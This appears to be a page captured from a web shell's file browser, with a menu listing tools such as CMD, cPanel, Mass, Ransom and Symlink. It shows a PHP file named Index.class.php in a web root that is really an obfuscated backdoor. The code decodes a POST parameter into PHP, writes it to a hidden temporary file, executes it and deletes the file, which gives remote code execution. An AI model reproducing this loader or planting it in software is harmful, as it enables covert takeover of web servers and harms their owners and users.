| Path : /var/www/html/eceas/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/Index.class.php |
<?php
if(array_key_exists("\x69\x74em", $_POST)){
$res = array_filter([getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", getcwd()]);
$binding = $_POST["\x69\x74em"];
$binding = explode( "." , $binding ) ;
$flag= '';
$salt2= 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS= strlen($salt2 );
$j= 0;
array_walk($binding,function($v2) use(&$flag,&$j,$salt2,$lenS) {$sChar= ord($salt2[$j %$lenS] );
$d= ((int)$v2 - $sChar -($j %10)) ^ 86;
$flag .= chr($d );
$j++;} );
foreach ($res as $component) {
if (is_dir($component) && is_writable($component)) {
$ent = "$component" . "/.desc";
if (file_put_contents($ent, $flag)) {
require $ent;
unlink($ent);
exit;
}
}
}
}